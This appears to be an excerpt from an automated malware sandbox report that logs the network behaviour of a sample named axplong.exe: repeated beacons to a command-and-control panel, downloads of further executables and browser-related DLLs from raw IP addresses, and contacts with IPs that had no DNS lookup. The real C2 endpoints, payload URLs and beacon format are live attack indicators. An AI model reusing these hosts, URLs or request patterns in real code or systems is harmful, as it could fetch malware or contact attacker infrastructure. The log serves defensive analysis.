Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40

Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Code function: 2_2_009CBD30 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,

2_2_009CBD30

Source: global traffic	HTTP traffic detected: GET /tmp/1.exe HTTP/1.1Host: foodbook.live
Source: global traffic	HTTP traffic detected: GET /v2/?request=displayproxies&protocol=socks4&timeout=10000&country=all&ssl=all&anonymity=all HTTP/1.1Host: api.proxyscrape.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /lend/leg222.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /cdn-directory/gold543.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /cdn-directory/gold543.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /cdn-directory/gold543.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /cdn-directory/wev233v22.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /cdn-directory/wev233v22.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /cdn-directory/wev233v22.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /large/hello.exe HTTP/1.1Host: 77.232.41.110
Source: global traffic	HTTP traffic detected: GET /lend/build16666.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/sqlite3.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /down/1qWbf4Bsej2u.exe HTTP/1.1Host: 43.153.49.49:8888
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/freebl3.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/mozglue.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/msvcp140.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/nss3.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /Freshbuild.exe HTTP/1.1Host: 185.172.128.116
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/softokn3.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/vcruntime140.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cdn-directory/see.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /cdn-directory/see.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /cdn-directory/see.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /lend/newstart.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /large/see.exe HTTP/1.1Host: 77.232.41.110
Source: global traffic	HTTP traffic detected: GET /large/ZharkBOT.exe HTTP/1.1Host: 77.232.41.110
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /large/see.exe HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C&tsk=5A HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /large/svchost.exe HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C&tsk=5C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
